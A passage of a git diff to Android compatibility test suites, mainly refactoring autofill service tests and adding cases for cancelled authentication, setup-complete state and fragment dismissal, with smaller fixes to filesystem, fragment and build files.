+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            spinnerWatcher.assertAutoFilled();
+        } else {
+            assertThat(mSpinner.getSelectedItemPosition()).isEqualTo(expectedValue);
         }
     }
 
@@ -337,40 +344,40 @@
 
     private void autofillDateValueToDatePicker(@Nullable AutofillValue value,
             boolean expectAutoFill) throws Exception {
-        mActivity.syncRunOnUiThread(() -> mEditText.setVisibility(View.VISIBLE));
-        mActivity.syncRunOnUiThread(() -> mDatePicker.setVisibility(View.VISIBLE));
+        mActivity.syncRunOnUiThread(() -> {
+            mEditText.setVisibility(View.VISIBLE);
+            mDatePicker.setVisibility(View.VISIBLE);
+        });
 
         // Set service.
         enableService();
-        try {
-            // Set expectations.
-            sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField(
-                    "datePicker", value).setField("editText",
-                    AutofillValue.forText("filled")).setPresentation(
-                    createPresentation("dataset")).build());
-            OneTimeDateListener dateWatcher = new OneTimeDateListener("datePicker", mDatePicker,
-                    2017, 3, 7);
-            mDatePicker.setOnDateChangedListener(dateWatcher);
 
-            int nonAutofilledYear = mDatePicker.getYear();
-            int nonAutofilledMonth = mDatePicker.getMonth();
-            int nonAutofilledDay = mDatePicker.getDayOfMonth();
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("datePicker", value)
+                .setField("editText", "filled")
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        OneTimeDateListener dateWatcher = new OneTimeDateListener("datePicker", mDatePicker,
+                2017, 3, 7);
+        mDatePicker.setOnDateChangedListener(dateWatcher);
 
-            // Trigger autofill.
-            startAutoFill(mEditText);
+        int nonAutofilledYear = mDatePicker.getYear();
+        int nonAutofilledMonth = mDatePicker.getMonth();
+        int nonAutofilledDay = mDatePicker.getDayOfMonth();
 
-            // Autofill it.
-            sUiBot.selectDataset("dataset");
+        // Trigger autofill.
+        startAutoFill(mEditText);
 
-            if (expectAutoFill) {
-                // Check the results.
-                dateWatcher.assertAutoFilled();
-            } else {
-                Helper.assertDateValue(mDatePicker, nonAutofilledYear, nonAutofilledMonth,
-                        nonAutofilledDay);
-            }
-        } finally {
-            disableService();
+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            dateWatcher.assertAutoFilled();
+        } else {
+            Helper.assertDateValue(mDatePicker, nonAutofilledYear, nonAutofilledMonth,
+                    nonAutofilledDay);
         }
     }
 
@@ -406,39 +413,39 @@
 
     private void autofillDateValueToTimePicker(@Nullable AutofillValue value,
             boolean expectAutoFill) throws Exception {
-        mActivity.syncRunOnUiThread(() -> mEditText.setVisibility(View.VISIBLE));
-        mActivity.syncRunOnUiThread(() -> mTimePicker.setIs24HourView(true));
-        mActivity.syncRunOnUiThread(() -> mTimePicker.setVisibility(View.VISIBLE));
+        mActivity.syncRunOnUiThread(() -> {
+            mEditText.setVisibility(View.VISIBLE);
+            mTimePicker.setIs24HourView(true);
+            mTimePicker.setVisibility(View.VISIBLE);
+        });
 
         // Set service.
         enableService();
-        try {
-            // Set expectations.
-            sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField(
-                    "timePicker", value).setField("editText",
-                    AutofillValue.forText("filled")).setPresentation(
-                    createPresentation("dataset")).build());
-            MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener("timePicker", 2,
-                    mTimePicker, 12, 32);
-            mTimePicker.setOnTimeChangedListener(timeWatcher);
 
-            int nonAutofilledHour = mTimePicker.getHour();
-            int nonAutofilledMinute = mTimePicker.getMinute();
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("timePicker", value)
+                .setField("editText", "filled")
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener("timePicker", 2,
+                mTimePicker, 12, 32);
+        mTimePicker.setOnTimeChangedListener(timeWatcher);
 
-            // Trigger autofill.
-            startAutoFill(mEditText);
+        int nonAutofilledHour = mTimePicker.getHour();
+        int nonAutofilledMinute = mTimePicker.getMinute();
 
-            // Autofill it.
-            sUiBot.selectDataset("dataset");
+        // Trigger autofill.
+        startAutoFill(mEditText);
 
-            if (expectAutoFill) {
-                // Check the results.
-                timeWatcher.assertAutoFilled();
-            } else {
-                Helper.assertTimeValue(mTimePicker, nonAutofilledHour, nonAutofilledMinute);
-            }
-        } finally {
-            disableService();
+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            timeWatcher.assertAutoFilled();
+        } else {
+            Helper.assertTimeValue(mTimePicker, nonAutofilledHour, nonAutofilledMinute);
         }
     }
 
@@ -455,8 +462,10 @@
 
     @Test
     public void getTimePickerAutoFillValue() throws Exception {
-        mActivity.syncRunOnUiThread(() -> mTimePicker.setHour(12));
-        mActivity.syncRunOnUiThread(() -> mTimePicker.setMinute(32));
+        mActivity.syncRunOnUiThread(() -> {
+            mTimePicker.setHour(12);
+            mTimePicker.setMinute(32);
+        });
 
         Helper.assertTimeValue(mTimePicker, 12, 32);
 
@@ -471,37 +480,35 @@
 
         // Set service.
         enableService();
-        try {
-            // Set expectations.
-            sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField(
-                    "radioGroup", value).setField("editText",
-                    AutofillValue.forText("filled")).setPresentation(
-                    createPresentation("dataset")).build());
-            MultipleTimesRadioGroupListener radioGroupWatcher = new MultipleTimesRadioGroupListener(
-                    "radioGroup", 2, mRadioGroup, expectedValue);
-            mRadioGroup.setOnCheckedChangeListener(radioGroupWatcher);
 
-            // Trigger autofill.
-            startAutoFill(mEditText);
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("radioGroup", value)
+                .setField("editText", "filled")
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        MultipleTimesRadioGroupListener radioGroupWatcher = new MultipleTimesRadioGroupListener(
+                "radioGroup", 2, mRadioGroup, expectedValue);
+        mRadioGroup.setOnCheckedChangeListener(radioGroupWatcher);
 
-            // Autofill it.
-            sUiBot.selectDataset("dataset");
+        // Trigger autofill.
+        startAutoFill(mEditText);
 
-            if (expectAutoFill) {
-                // Check the results.
-                radioGroupWatcher.assertAutoFilled();
+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            radioGroupWatcher.assertAutoFilled();
+        } else {
+            if (expectedValue == 0) {
+                assertThat(mRadioButton1.isChecked()).isEqualTo(true);
+                assertThat(mRadioButton2.isChecked()).isEqualTo(false);
             } else {
-                if (expectedValue == 0) {
-                    assertThat(mRadioButton1.isChecked()).isEqualTo(true);
-                    assertThat(mRadioButton2.isChecked()).isEqualTo(false);
-                } else {
-                    assertThat(mRadioButton1.isChecked()).isEqualTo(false);
-                    assertThat(mRadioButton2.isChecked()).isEqualTo(true);
+                assertThat(mRadioButton1.isChecked()).isEqualTo(false);
+                assertThat(mRadioButton2.isChecked()).isEqualTo(true);
 
-                }
             }
-        } finally {
-            disableService();
         }
     }
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 8029748..9c1f459 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -16,12 +16,16 @@
 
 package android.autofillservice.cts;
 
+import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
+
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.app.assist.AssistStructure;
 import android.app.assist.AssistStructure.ViewNode;
 import android.app.assist.AssistStructure.WindowNode;
+import android.content.Context;
 import android.content.pm.PackageManager;
 import android.icu.util.Calendar;
 import android.os.UserManager;
@@ -47,6 +51,9 @@
 
     private static final String TAG = "AutoFillCtsHelper";
 
+    // TODO: should static import Settings.Secure instead, but that's not a @TestApi
+    private static String USER_SETUP_COMPLETE = "user_setup_complete";
+
     static final boolean VERBOSE = false;
 
     static final String ID_USERNAME_LABEL = "username_label";
@@ -128,7 +135,11 @@
                     if (VERBOSE) Log.v(TAG, "Ignoring", e);
                     Thread.sleep(RETRY_MS);
                 } else {
-                    throw new Exception("Timedout out after " + timeout + " ms", e);
+                    if (e instanceof RetryableException) {
+                        throw e;
+                    } else {
+                        throw new Exception("Timedout out after " + timeout + " ms", e);
+                    }
                 }
             }
         }
@@ -187,6 +198,38 @@
         runShellCommand("pm set-user-restriction no_autofill %d", restricted ? 1 : 0);
     }
 
+    /**
+     * Sets whether the user completed the initial setup.
+     */
+    static void setUserComplete(Context context, boolean complete) {
+        if (isUserComplete() == complete) return;
+
+        final OneTimeSettingsListener observer = new OneTimeSettingsListener(context,
+                USER_SETUP_COMPLETE);
+        final String newValue = complete ? "1" : null;
+        runShellCommand("settings put secure %s %s default", USER_SETUP_COMPLETE, newValue);
+        observer.assertCalled();
+
+        assertIsUserComplete(complete);
+    }
+
+    /**
+     * Gets whether the user completed the initial setup.
+     */
+    static boolean isUserComplete() {
+        final String isIt = runShellCommand("settings get secure %s", USER_SETUP_COMPLETE);
+        return "1".equals(isIt);
+    }
+
+    /**
+     * Assets that user completed (or not) the initial setup.
+     */
+    static void assertIsUserComplete(boolean expected) {
+        final boolean actual = isUserComplete();
+        assertWithMessage("Invalid value for secure setting %s", USER_SETUP_COMPLETE)
+                .that(actual).isEqualTo(expected);
+    }
+
     private static void dump(StringBuffer buffer, ViewNode node, String prefix, int childId) {
         final int childrenSize = node.getChildCount();
         buffer.append("\n").append(prefix)
@@ -639,6 +682,9 @@
         assertThat(getMaxPartitions()).isEqualTo(value);
     }
 
+    /**
+     * Checks if device supports the Autofill feature.
+     */
     public static boolean hasAutofillFeature() {
         return RequiredFeatureRule.hasFeature(PackageManager.FEATURE_AUTOFILL);
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index c157b38..b03966e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -16,6 +16,8 @@
 
 package android.autofillservice.cts;
 
+import static android.app.Activity.RESULT_CANCELED;
+import static android.app.Activity.RESULT_OK;
 import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
 import static android.autofillservice.cts.Helper.ID_PASSWORD;
 import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
@@ -28,6 +30,7 @@
 import static android.autofillservice.cts.Helper.eventually;
 import static android.autofillservice.cts.Helper.findNodeByResourceId;
 import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.autofillservice.cts.Helper.setUserComplete;
 import static android.autofillservice.cts.Helper.setUserRestrictionForAutofill;
 import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
 import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
@@ -64,7 +67,6 @@
 import android.content.IntentFilter;
 import android.content.IntentSender;
 import android.os.Bundle;
-import android.platform.test.annotations.Presubmit;
 import android.service.autofill.FillEventHistory;
 import android.service.autofill.SaveInfo;
 import android.support.test.rule.ActivityTestRule;
@@ -496,7 +498,6 @@
     }
 
     @Test
-    @Presubmit
     public void testAutoFillOneDatasetAndSave() throws Exception {
         // Set service.
         enableService();
@@ -1264,6 +1265,15 @@
 
     @Test
     public void testFillResponseAuthBothFields() throws Exception {
+        fillResponseAuthBothFields(false);
+    }
+
+    @Test
+    public void testFillResponseAuthBothFieldsUserCancelsFirstAttempt() throws Exception {
+        fillResponseAuthBothFields(true);
+    }
+
+    private void fillResponseAuthBothFields(boolean cancelFirstAttempt) throws Exception {
         // Set service.
         enableService();
         final MyAutofillCallback callback = mActivity.registerCallback();
@@ -1298,29 +1308,49 @@
         sReplier.getNextFillRequest();
         final View username = mActivity.getUsername();
         callback.assertUiShownEvent(username);
-        sUiBot.assertShownByText("Tap to auth response");
+        sUiBot.assertDatasets("Tap to auth response");
 
         // Make sure UI is show on 2nd field as well
         final View password = mActivity.getPassword();
         mActivity.onPassword(View::requestFocus);
         callback.assertUiHiddenEvent(username);
         callback.assertUiShownEvent(password);
-        sUiBot.assertShownByText("Tap to auth response");
+        sUiBot.assertDatasets("Tap to auth response");
 
         // Now tap on 1st field to show it again...
         mActivity.onUsername(View::requestFocus);
         callback.assertUiHiddenEvent(password);
         callback.assertUiShownEvent(username);
-        sUiBot.selectByText("Tap to auth response");
-        callback.assertUiHiddenEvent(username);
-        sUiBot.assertNotShownByText("Tap to auth response");
+
+        if (cancelFirstAttempt) {
+            // Trigger the auth dialog, but emulate cancel.
+            AuthenticationActivity.setResultCode(RESULT_CANCELED);
+            sUiBot.selectDataset("Tap to auth response");
+            callback.assertUiHiddenEvent(username);
+            callback.assertUiShownEvent(username);
+            sUiBot.assertDatasets("Tap to auth response");
+
+            // Make sure it's still shown on other fields...
+            mActivity.onPassword(View::requestFocus);
+            callback.assertUiHiddenEvent(username);
+            callback.assertUiShownEvent(password);
+            sUiBot.assertDatasets("Tap to auth response");
+
+            // Tap on 1st field to show it again...
+            mActivity.onUsername(View::requestFocus);
+            callback.assertUiHiddenEvent(password);
+            callback.assertUiShownEvent(username);
+        }
 
         // ...and select it this time
+        AuthenticationActivity.setResultCode(RESULT_OK);
+        sUiBot.selectDataset("Tap to auth response");
+        callback.assertUiHiddenEvent(username);
         callback.assertUiShownEvent(username);
+        sUiBot.assertNotShownByText("Tap to auth response");
         sUiBot.selectDataset("Dataset");
         callback.assertUiHiddenEvent(username);
         sUiBot.assertNoDatasets();
-        sUiBot.assertNotShownByText("Tap to auth response");
 
         // Check the results.
         mActivity.assertAutoFilled();
@@ -1367,18 +1397,18 @@
         sReplier.getNextFillRequest();
         final View username = mActivity.getUsername();
         callback.assertUiShownEvent(username);
-        sUiBot.assertShownByText("Tap to auth response");
+        sUiBot.assertDatasets("Tap to auth response");
 
         // Make sure UI is not show on 2nd field
         mActivity.onPassword(View::requestFocus);
         callback.assertUiHiddenEvent(username);
-        sUiBot.assertNotShownByText("Tap to auth response");
+        sUiBot.assertNoDatasets();
         // Now tap on 1st field to show it again...
         mActivity.onUsername(View::requestFocus);
         callback.assertUiShownEvent(username);
 
         // ...and select it this time
-        sUiBot.selectByText("Tap to auth response");
+        sUiBot.selectDataset("Tap to auth response");
         callback.assertUiHiddenEvent(username);
         sUiBot.assertNotShownByText("Tap to auth response");
 
@@ -1386,7 +1416,6 @@
         sUiBot.selectDataset("Dataset");
         callback.assertUiHiddenEvent(username);
         sUiBot.assertNoDatasets();
-        sUiBot.assertNotShownByText("Tap to auth response");
 
         // Check the results.
         mActivity.assertAutoFilled();
@@ -1423,14 +1452,26 @@
         callback.assertUiShownEvent(username);
 
         // Select the authentication dialog.
-        sUiBot.selectByText("Tap to auth response");
+        sUiBot.selectDataset("Tap to auth response");
         callback.assertUiHiddenEvent(username);
-        sUiBot.assertNotShownByText("Tap to auth response");
         sUiBot.assertNoDatasets();
     }
 
     @Test
     public void testDatasetAuthTwoFields() throws Exception {
+        datasetAuthTwoFields(false);
+    }
+
+    @Test
+    public void testDatasetAuthTwoFieldsUserCancelsFirstAttempt() throws Exception {
+        datasetAuthTwoFields(true);
+    }
+
+    private void datasetAuthTwoFields(boolean cancelFirstAttempt) throws Exception {
+        // TODO: current API requires these fields...
+        final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
+        final String bogusValue = "Y U REQUIRE IT?";
+
         // Set service.
         enableService();
         final MyAutofillCallback callback = mActivity.registerCallback();
@@ -1440,14 +1481,14 @@
                 new CannedDataset.Builder()
                         .setField(ID_USERNAME, "dude")
                         .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("Dataset"))
+                        .setPresentation(bogusPresentation)
                         .build());
 
         // Configure the service behavior
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
+                        .setField(ID_USERNAME, bogusValue)
+                        .setField(ID_PASSWORD, bogusValue)
                         .setPresentation(createPresentation("Tap to auth dataset"))
                         .setAuthentication(authentication)
                         .build())
@@ -1462,12 +1503,47 @@
         // Wait for onFill() before proceeding.
         sReplier.getNextFillRequest();
         final View username = mActivity.getUsername();
-
-        // Authenticate
         callback.assertUiShownEvent(username);
-        sUiBot.selectByText("Tap to auth dataset");
+        sUiBot.assertDatasets("Tap to auth dataset");
+
+        // Make sure UI is show on 2nd field as well
+        final View password = mActivity.getPassword();
+        mActivity.onPassword(View::requestFocus);
         callback.assertUiHiddenEvent(username);
-        sUiBot.assertNotShownByText("Tap to auth dataset");
+        callback.assertUiShownEvent(password);
+        sUiBot.assertDatasets("Tap to auth dataset");
+
+        // Now tap on 1st field to show it again...
+        mActivity.onUsername(View::requestFocus);
+        callback.assertUiHiddenEvent(password);
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("Tap to auth dataset");
+
+        if (cancelFirstAttempt) {
+            // Trigger the auth dialog, but emulate cancel.
+            AuthenticationActivity.setResultCode(RESULT_CANCELED);
+            sUiBot.selectDataset("Tap to auth dataset");
+            callback.assertUiHiddenEvent(username);
+            callback.assertUiShownEvent(username);
+            sUiBot.assertDatasets("Tap to auth dataset");
+
+            // Make sure it's still shown on other fields...
+            mActivity.onPassword(View::requestFocus);
+            callback.assertUiHiddenEvent(username);
+            callback.assertUiShownEvent(password);
+            sUiBot.assertDatasets("Tap to auth dataset");
+
+            // Tap on 1st field to show it again...
+            mActivity.onUsername(View::requestFocus);
+            callback.assertUiHiddenEvent(password);
+            callback.assertUiShownEvent(username);
+        }
+
+        // ...and select it this time
+        AuthenticationActivity.setResultCode(RESULT_OK);
+        sUiBot.selectDataset("Tap to auth dataset");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
 
         // Check the results.
         mActivity.assertAutoFilled();
@@ -1516,14 +1592,14 @@
 
         // Authenticate
         callback.assertUiShownEvent(username);
-        sUiBot.selectByText("Tap to auth dataset");
+        sUiBot.selectDataset("Tap to auth dataset");
         callback.assertUiHiddenEvent(username);
 
         // Select a dataset from the new response
         callback.assertUiShownEvent(username);
-        sUiBot.selectByText("Dataset");
+        sUiBot.selectDataset("Dataset");
         callback.assertUiHiddenEvent(username);
-        sUiBot.assertNotShownByText("Dataset");
+        sUiBot.assertNoDatasets();
 
         // Check the results.
         mActivity.assertAutoFilled();
@@ -1570,9 +1646,9 @@
 
         // Authenticate
         callback.assertUiShownEvent(username);
-        sUiBot.selectByText("Tap to auth dataset");
+        sUiBot.selectDataset("Tap to auth dataset");
         callback.assertUiHiddenEvent(username);
-        sUiBot.assertNotShownByText("Tap to auth dataset");
+        sUiBot.assertNoDatasets();
 
         // Check the results.
         mActivity.assertAutoFilled();
@@ -2495,4 +2571,21 @@
             disableService();
         }
     }
+
+    @Test
+    public void testSetupComplete() throws Exception {
+        enableService();
+
+        // Sanity check.
+        final AutofillManager afm = mActivity.getAutofillManager();
+        assertThat(afm.isEnabled()).isTrue();
+
+        // Now disable user_complete and try again.
+        try {
+            setUserComplete(getContext(), false);
+            assertThat(afm.isEnabled()).isFalse();
+        } finally {
+            setUserComplete(getContext(), true);
+        }
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java
index d474dc8..5b60e32 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java
@@ -16,6 +16,7 @@
 
 package android.autofillservice.cts;
 
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
 import static android.autofillservice.cts.FragmentContainerActivity.FRAGMENT_TAG;
 import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
 import static android.autofillservice.cts.Helper.eventually;
@@ -118,8 +119,7 @@
                     () -> mActivity.getFragmentManager().beginTransaction().replace(
                             R.id.rootContainer, new FragmentWithMoreEditTexts(),
                             FRAGMENT_TAG).commitNow());
-            EditText mEditText5 = mActivity.findViewById(R.id.editText5);
-
+            EditText editText5 = mActivity.findViewById(R.id.editText5);
             fillRequest[0] = sReplier.getNextFillRequest();
 
             // The fillRequest should have a fillContext for each partition. The first partition
@@ -159,7 +159,7 @@
             sUiBot.assertShownByText("editText4-autofilled");
 
             // Manually fill view
-            mActivity.syncRunOnUiThread(() -> mEditText5.setText("editText5-manually-filled"));
+            mActivity.syncRunOnUiThread(() -> editText5.setText("editText5-manually-filled"));
 
             // Finish activity and save data
             mActivity.finish();
@@ -198,4 +198,53 @@
             disableService();
         }
     }
+
+    @Test
+    public void uiDismissedWhenNonSavableFragmentIsGone() throws Exception {
+        uiDismissedWhenFragmentIsGoneText(false);
+    }
+
+    @Test
+    public void uiDismissedWhenSavableFragmentIsGone() throws Exception {
+        uiDismissedWhenFragmentIsGoneText(true);
+    }
+
+    private void uiDismissedWhenFragmentIsGoneText(boolean savable) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField("editText1", "whatever")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build());
+        if (savable) {
+            response.setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, "editText2");
+        }
+
+        sReplier.addResponse(response.build());
+
+        // Trigger autofill
+        mActivity.syncRunOnUiThread(() -> {
+            mEditText2.requestFocus();
+            mEditText1.requestFocus();
+        });
+
+        // Check UI is shown, but don't select it.
+        sReplier.getNextFillRequest();
+        sUiBot.assertDatasets("dataset1");
+
+        // Switch fragments
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.syncRunOnUiThread(
+                () -> mActivity.getFragmentManager().beginTransaction().replace(
+                        R.id.rootContainer, new FragmentWithMoreEditTexts(),
+                        FRAGMENT_TAG).commitNow());
+        // Make sure UI is gone.
+        sReplier.getNextFillRequest();
+        sUiBot.assertNoDatasets();
+    }
+
+    // TODO: add similar tests for fragment with virtual view
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
index b60840d..756b6e9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
@@ -2223,22 +2223,22 @@
 
         // Finally, autofill and check them.
         mActivity.focusCell(2, 1);
-        sUiBot.selectByText("Auth 2");
+        sUiBot.selectDataset("Auth 2");
         sUiBot.selectDataset("Partition 2");
         expectation2.assertAutoFilled();
 
         mActivity.focusCell(4, 1);
-        sUiBot.selectByText("Auth 4");
+        sUiBot.selectDataset("Auth 4");
         sUiBot.selectDataset("Partition 4");
         expectation4.assertAutoFilled();
 
         mActivity.focusCell(3, 1);
-        sUiBot.selectByText("Auth 3");
+        sUiBot.selectDataset("Auth 3");
         sUiBot.selectDataset("Partition 3");
         expectation3.assertAutoFilled();
 
         mActivity.focusCell(1, 1);
-        sUiBot.selectByText("Auth 1");
+        sUiBot.selectDataset("Auth 1");
         sUiBot.selectDataset("Partition 1");
         expectation1.assertAutoFilled();
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index d1f01e1..987ddbe 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -152,6 +152,9 @@
 
     /**
      * Selects a view by text.
+     *
+     * <p><b>NOTE:</b> when selecting an option in dataset picker is shown, prefer
+     * {@link #selectDataset(String)}.
      */
     void selectByText(String name) {
         Log.v(TAG, "selectByText(): " + name);
@@ -161,7 +164,10 @@
     }
 
     /**
-     * Asserts a text is not shown.
+     * Asserts a text is shown.
+     *
+     * <p><b>NOTE:</b> when asserting the dataset picker is shown, prefer
+     * {@link #assertDatasets(String...)}.
      */
     public void assertShownByText(String text) {
         final UiObject2 object = waitForObject(By.text(text));
@@ -169,7 +175,10 @@
     }
 
     /**
-     * Asserts a text is now shown.
+     * Asserts a text is not shown.
+     *
+     * <p><b>NOTE:</b> when asserting the dataset picker is not shown, prefer
+     * {@link #assertNoDatasets()}.
      */
     public void assertNotShownByText(String text) {
         final UiObject2 uiObject = mDevice.findObject(By.text(text));
diff --git a/tests/camera/AndroidTest.xml b/tests/camera/AndroidTest.xml
index 1358c34..656b96d 100644
--- a/tests/camera/AndroidTest.xml
+++ b/tests/camera/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Camera test cases">
+    <option name="config-descriptor:metadata" key="component" value="camera" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCameraTestCases.apk" />
diff --git a/tests/filesystem/src/android/filesystem/cts/FileUtil.java b/tests/filesystem/src/android/filesystem/cts/FileUtil.java
index 4cf07ac..386679a 100755
--- a/tests/filesystem/src/android/filesystem/cts/FileUtil.java
+++ b/tests/filesystem/src/android/filesystem/cts/FileUtil.java
@@ -147,8 +147,9 @@
         byte[] data = generateRandomData(BUFFER_SIZE);
         long written = 0;
         while (written < length) {
-            out.write(data);
-            written += BUFFER_SIZE;
+            int toWrite = (int) Math.min(BUFFER_SIZE, length - written);
+            out.write(data, 0, toWrite);
+            written += toWrite;
         }
         out.flush();
         out.close();
diff --git a/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java b/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java
index 67f90b4..f99bb0b 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java
@@ -542,7 +542,7 @@
         assertEquals(animatorResourceId, fragment.resourceId);
         assertNotNull(fragment.animator);
         assertTrue(fragment.wasStarted);
-        assertTrue(fragment.endLatch.await(200, TimeUnit.MILLISECONDS));
+        assertTrue(fragment.endLatch.await(1, TimeUnit.SECONDS));
     }
 
     private void assertPostponed(AnimatorFragment fragment, int expectedAnimators)
diff --git a/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java b/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
index ed48c82..00ec95b 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
@@ -809,6 +809,53 @@
     }
 
     /**
+     * Check that retained fragments in the backstack correctly restored after two "configChanges"
+     */
+    @Test
+    public void retainedFragmentInBackstack() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, null);
+            FragmentManager fm = fc.getFragmentManager();
+
+            Fragment fragment1 = new StrictFragment();
+            fm.beginTransaction()
+                    .add(fragment1, "1")
+                    .addToBackStack(null)
+                    .commit();
+            fm.executePendingTransactions();
+
+            Fragment child = new StrictFragment();
+            child.setRetainInstance(true);
+            fragment1.getChildFragmentManager().beginTransaction()
+                    .add(child, "child").commit();
+            fragment1.getChildFragmentManager().executePendingTransactions();
+
+            Fragment fragment2 = new StrictFragment();
+            fm.beginTransaction()
+                    .remove(fragment1)
+                    .add(fragment2, "2")
+                    .addToBackStack(null)
+                    .commit();
+            fm.executePendingTransactions();
+
+            Pair<Parcelable, FragmentManagerNonConfig> savedState =
+                    FragmentTestUtil.destroy(mActivityRule, fc);
+
+            fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, savedState);
+            savedState = FragmentTestUtil.destroy(mActivityRule, fc);
+            fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, savedState);
+            fm = fc.getFragmentManager();
+            fm.popBackStackImmediate();
+            Fragment retainedChild = fm.findFragmentByTag("1")
+                    .getChildFragmentManager().findFragmentByTag("child");
+            assertEquals(child, retainedChild);
+        });
+    }
+
+    /**
      * When a fragment has been optimized out, it state should still be saved during
      * save and restore instance state.
      */
diff --git a/tests/tests/content/Android.mk b/tests/tests/content/Android.mk
index 6821a39..5d5d025 100644
--- a/tests/tests/content/Android.mk
+++ b/tests/tests/content/Android.mk
@@ -26,18 +26,19 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES :=  android-support-v4 \
-                                android-support-multidex \
-                                compatibility-device-util \
-                                ctstestrunner \
-                                services.core \
-                                junit \
-                                legacy-android-test \
-                                truth-prebuilt
+LOCAL_STATIC_JAVA_LIBRARIES :=  \
+    compatibility-device-util \
+    ctstestrunner \
+    services.core \
+    junit \
+    legacy-android-test \
+    truth-prebuilt
+
+LOCAL_STATIC_ANDROID_LIBRARIES := android-support-v4
 
 # Use multi-dex as the compatibility-common-util-devicesidelib dependency
 # on compatibility-device-util pushes us beyond 64k methods.
-LOCAL_JACK_FLAGS := --multi-dex legacy
+LOCAL_JACK_FLAGS := --multi-dex native
 LOCAL_DX_FLAGS := --multi-dex
 
 # Resource unit tests use a private locale and some densities
diff --git a/tests/tests/content/res/font/invalid_xmlfamily.xml b/tests/tests/content/res/font/invalid_xmlfamily.xml
index d3b2412..d1dcef0 100644
